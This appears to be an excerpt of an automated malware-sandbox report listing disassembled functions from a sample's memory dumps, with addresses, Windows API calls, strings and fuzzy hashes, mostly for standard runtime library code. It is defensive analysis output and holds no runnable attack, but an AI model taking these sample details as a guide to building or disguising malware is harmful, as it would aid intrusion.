Opcode Fuzzy Hash: 027bf55f418d85534eff5d9e91e9602374634e1dbf1ab012fce7b7876ecff7ea
Instruction Fuzzy Hash: FEA022ECC088808BCA00CF00B802330F238A28B20AF003838E08CF3203EA20F00C820E

Function 00430737 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00430761

Strings

z, xrefs: 004307C3
n, xrefs: 0043077B
w, xrefs: 00430793
~, xrefs: 004307B3
r, xrefs: 004307A3
u, xrefs: 004307CB

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: InitVariant
String ID: n$r$u$w$z$~
API String ID: 1927566239-3573990534
Opcode ID: f93af1845080e0c2662f79180b03bc063467f7becf3e08bc42346d01ba68d0ab
Instruction ID: 1b896553e77637ef5f26b5b42077bac7953384b2d098cbe4fbc9c7dbb3d5c9ff
Opcode Fuzzy Hash: f93af1845080e0c2662f79180b03bc063467f7becf3e08bc42346d01ba68d0ab
Instruction Fuzzy Hash: 65511931208B818BD7158E3CC894646BFE1AB96224F18879CD8AA4F7EAC779D415C761

Function 0042FF38 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 104COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0042FF5D

Strings

w, xrefs: 0042FF92
u, xrefs: 0042FFCA
r, xrefs: 0042FFA2
n, xrefs: 0042FF7A
~, xrefs: 0042FFB2
z, xrefs: 0042FFC2

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: InitVariant
String ID: n$r$u$w$z$~
API String ID: 1927566239-3573990534
Opcode ID: 396f0396f3a458675dce1994166e2eab495ad6a3eba382d8fde0f0946fb1810a
Instruction ID: 83156171ca65f2f7873478f56621f2fe8874ca19cad56d3c089c6bd1d4a34c80
Opcode Fuzzy Hash: 396f0396f3a458675dce1994166e2eab495ad6a3eba382d8fde0f0946fb1810a
Instruction Fuzzy Hash: C8412921208BC18ED725CF3CC884706BFA16B56224F08879DD9E98F7EBC279D515C762

Function 00DAA222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,00DAA20D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 00DAA2C8
__alloca_probe_16.LIBCMT ref: 00DAA383
__alloca_probe_16.LIBCMT ref: 00DAA412
__freea.LIBCMT ref: 00DAA45D
__freea.LIBCMT ref: 00DAA463
__freea.LIBCMT ref: 00DAA499
__freea.LIBCMT ref: 00DAA49F
__freea.LIBCMT ref: 00DAA4AF

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 196215ec6b57d5b02b4251abe7e3bb7b34d434bd4a348727ed84bccd2805d63e
Instruction ID: f318e012d43bb99a512f4df76be8f6619b1326af3b628013e632017dbc91132d
Opcode Fuzzy Hash: 196215ec6b57d5b02b4251abe7e3bb7b34d434bd4a348727ed84bccd2805d63e
Instruction Fuzzy Hash: 1E71D672904205ABDF219F9C8C45BAE7BBAEF4B310F194655F909A7281E7B6CC00C772

Function 00D954C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D9550C
__alloca_probe_16.LIBCMT ref: 00D95538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D95577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D95594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D955D3
__alloca_probe_16.LIBCMT ref: 00D955F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D95632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D95655

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: cff91b19566a84c5b4a072f2dc35b321d73c12a18b57b918995e2bc72fac003c
Instruction ID: e9c991ee5b91f2adadf090b7ee72f34a64335a079fd9831a9afc052238ef6ec3
Opcode Fuzzy Hash: cff91b19566a84c5b4a072f2dc35b321d73c12a18b57b918995e2bc72fac003c
Instruction Fuzzy Hash: 6A51BE72600606EFEF229F64EC45FAA7BA9EF40750F694539F905E6198DB30CD109BB0

Function 00D961E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D96217
___except_validate_context_record.LIBVCRUNTIME ref: 00D9621F
_ValidateLocalCookies.LIBCMT ref: 00D962A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D962D3
_ValidateLocalCookies.LIBCMT ref: 00D96328

Strings

csm, xrefs: 00D962BD

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 92d8e712b207ed14d847b18cd667db5df8b1a6c3b4ae2ded133375c7df567ebd
Instruction ID: c586d583ab1745bfa2c67831caf1dc632cbfd5b4b9e163b4f55711c97a1f8de4
Opcode Fuzzy Hash: 92d8e712b207ed14d847b18cd667db5df8b1a6c3b4ae2ded133375c7df567ebd
Instruction Fuzzy Hash: 0641B330A00218EFCF11DF68C885A9E7BB5EF45324F188555F818AB392DB31EA05CBB5

Function 00D9F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D9F578,00D9186A,?,00000000,00D931E1,00D9186C,?,00D9F1F6,00000022,FlsSetValue,00DADFE0,00DADFE8,00D931E1), ref: 00D9F52A

Strings

ext-ms-, xrefs: 00D9F4D4
api-ms-, xrefs: 00D9F4C0

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1dd367d89e3e6350d866c839d3ccc07e7f668757508970b73dcf89ce3d598cf0
Instruction ID: 11c2d0f8adb64f55925134126cdcd4decf98e5d24d17778de694e68c9dee4e7c
Opcode Fuzzy Hash: 1dd367d89e3e6350d866c839d3ccc07e7f668757508970b73dcf89ce3d598cf0
Instruction Fuzzy Hash: 06218176A41311EBCF229B64EC44A5A7768DB41764B294620F956E7390E670EE00D6F0

Function 00DA625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ab9c68467e816f66dc447e32b31d87e75953ca6ec0c94e41db27ec3fd29b2dc
Instruction ID: 2dffe5bfd174066dc8afa8ab0b9a737d6bc84a809761f61d85d2cc424a526569
Opcode Fuzzy Hash: 3ab9c68467e816f66dc447e32b31d87e75953ca6ec0c94e41db27ec3fd29b2dc
Instruction Fuzzy Hash: 01B1BA71E04244EBDF119FA8D890BAEBBB1EF4A310F1C4259E5419B296C7B0D9418BB1

Function 00D9D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D9D2B7,00D95FB7,00D95179), ref: 00D9D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D9D2F5
SetLastError.KERNEL32(00000000,00D9D2B7,00D95FB7,00D95179), ref: 00D9D347

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bac457c1d0357e43d4fd7ae8762c2000ad9b1ee127a26699745eeb32f5bafc45
Instruction ID: ec115a08063d6267eeeacb580e6643f29f2181582ee05f5d62edd4d344eaa71a
Opcode Fuzzy Hash: bac457c1d0357e43d4fd7ae8762c2000ad9b1ee127a26699745eeb32f5bafc45
Instruction Fuzzy Hash: EC01FC3210E712DEAF2627747CC5A6F3645EB027757240329F110D52E5EF514D0597B1

Function 00D9DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D9DCA7
CallUnexpected.LIBVCRUNTIME ref: 00D9DF20

Strings

csm, xrefs: 00D9DBC5
csm, xrefs: 00D9DCDE
csm, xrefs: 00D9DC32

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 4b58dc205da27564a77d08291fec016d976937d135400b06f74ae3c4050395a1
Instruction ID: 542dc2b2f14e83631d802ee2e10cbf9d06177afe852f3b70b893bc5096a1e876
Opcode Fuzzy Hash: 4b58dc205da27564a77d08291fec016d976937d135400b06f74ae3c4050395a1
Instruction Fuzzy Hash: 53B19C71800209EFCF25EFA4D9819AEBBB6FF18310F18415AF8116B206D775EA51CBB1

Function 00D98C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00DAB774,000000FF,?,00D98D16,00D98BFD,?,00D98DB2,00000000), ref: 00D98C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D98C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DAB774,000000FF,?,00D98D16,00D98BFD,?,00D98DB2,00000000), ref: 00D98CBE

Strings

CorExitProcess, xrefs: 00D98C94
mscoree.dll, xrefs: 00D98C83

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7efbb5db28a844a7b10248094a0365a1f19e8520dad58414b8dc48bf2822ecce
Instruction ID: df86e29faa85f9ca73dfc34fc5d41ebbcbbcdd9a9812470cf00676be981bcef5
Opcode Fuzzy Hash: 7efbb5db28a844a7b10248094a0365a1f19e8520dad58414b8dc48bf2822ecce
Instruction Fuzzy Hash: B3018F32A41715EFCF118B54CC09BAEBBB8FB45B10F040625E812E22D0DBB49900DAB0

Function 00D9FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D9FCC2
__alloca_probe_16.LIBCMT ref: 00D9FD8B
__freea.LIBCMT ref: 00D9FDF2

Part of subcall function 00D9E531: HeapAlloc.KERNEL32(00000000,00D931E1,00D9186A,?,00D960C1,00D9186C,00D9186A,?,?,?,00D93181,00D931E1,00D9186E,00D9186A,00D9186A,00D9186A), ref: 00D9E563

__freea.LIBCMT ref: 00D9FE05
__freea.LIBCMT ref: 00D9FE12

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 691a32cc6d68db1ebe3daccf38835fd23b726be475b767a1a615624cdecc42cd
Instruction ID: 48b74b58ffaf5e7b786c6ca65898b5682caf9c0b4e79585720a87ef705a37c50
Opcode Fuzzy Hash: 691a32cc6d68db1ebe3daccf38835fd23b726be475b767a1a615624cdecc42cd
Instruction Fuzzy Hash: 8A51B272604206AFEF219F619C81EBB7BA9EF44710B2D4538FD04D7122EB31CC6086B0

Function 00D93010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D93017
std::_Lockit::_Lockit.LIBCPMT ref: 00D93022
std::_Lockit::~_Lockit.LIBCPMT ref: 00D93090

Part of subcall function 00D92EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D92EFC

std::locale::_Setgloballocale.LIBCPMT ref: 00D9303D
_Yarn.LIBCPMT ref: 00D93053

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: eb676b36f89be2a2c8bcbf548a9f869d8596a0f2bbb1981ab67d3e387bf90231
Instruction ID: 2f9445e315849c6cb2bc111873a6527773f4c7f0aae9f942a2ca3534fdb763a2
Opcode Fuzzy Hash: eb676b36f89be2a2c8bcbf548a9f869d8596a0f2bbb1981ab67d3e387bf90231
Instruction Fuzzy Hash: B3017CB5A00610EBCF16EF60E88557D7BA1FF84350B184109E81297391CF35AE02DBB1

Function 00DA7E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DA7F2E,00000000,?,00DB6E10,?,?,?,00DA7E65,00000004,InitializeCriticalSectionEx,00DAE57C,00DAE584), ref: 00DA7E9F
GetLastError.KERNEL32(?,00DA7F2E,00000000,?,00DB6E10,?,?,?,00DA7E65,00000004,InitializeCriticalSectionEx,00DAE57C,00DAE584,00000000,?,00D9E1DC), ref: 00DA7EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DA7ED1

Strings

api-ms-, xrefs: 00DA7EB6

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 966093eace4cdd8869cff75a437db8690054ff22cadb6d225d68992fbc8b5f7f
Instruction ID: 850020eba7f51e621acb16e0acec77135bece02755caa52623db343672d285a1
Opcode Fuzzy Hash: 966093eace4cdd8869cff75a437db8690054ff22cadb6d225d68992fbc8b5f7f
Instruction Fuzzy Hash: B4E04831284309FBEF101B60DC06B597B59DB11B51F144060F90DF85E1E771EE50A6F4

Function 00DA562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00DA5690

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DA58E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DA5928
GetLastError.KERNEL32 ref: 00DA59CB

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bde30fbed5e78d264721e93a29945bb6a53acffd53f0d205d062eb5f87aee5e9
Instruction ID: d188adcfe42935ad8d4aca2f7017e83aee400365b1d655d389b3dde31a7aa15b
Opcode Fuzzy Hash: bde30fbed5e78d264721e93a29945bb6a53acffd53f0d205d062eb5f87aee5e9
Instruction Fuzzy Hash: 22D15975D04648DFCF15CFA8E8809AEBBB9FF0A310F28456AE456EB355D630A941CF60

Function 00D9D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D9D976
___AdjustPointer.LIBCMT ref: 00D9D999
___AdjustPointer.LIBCMT ref: 00D9DA35

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 74fcd919893de4488af59598964df1654c761b519eb2dc63cc83a711d707a320
Instruction ID: 7b743afd5cef2b6a333a84733aff3be990cc54cbea73287647ea48e1b73a2d04
Opcode Fuzzy Hash: 74fcd919893de4488af59598964df1654c761b519eb2dc63cc83a711d707a320
Instruction Fuzzy Hash: 7851EE76605602BFDF29AF50D845BBAB7B6EF15310F28412DE8469B291E731ED40CBB0

Function 00DA3537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D9FDE8,?,00000000,-00000008), ref: 00D9E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00DA359B
__dosmaperr.LIBCMT ref: 00DA35A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00DA35DC
__dosmaperr.LIBCMT ref: 00DA35E3

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 29a3e421c98e93e87d895a0e3a79c4aa7f74031ecd25c8bb4aa91b34994d1488
Instruction ID: fbd97174dac727df6435932dabf7a4a67879270219471b5857f1e44c0d0c0e5d
Opcode Fuzzy Hash: 29a3e421c98e93e87d895a0e3a79c4aa7f74031ecd25c8bb4aa91b34994d1488
Instruction Fuzzy Hash: D721D771A05705AFDF20AF6D984182ABBAAFF423647044519F86587601EB30EF009BB1

Function 00D98042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
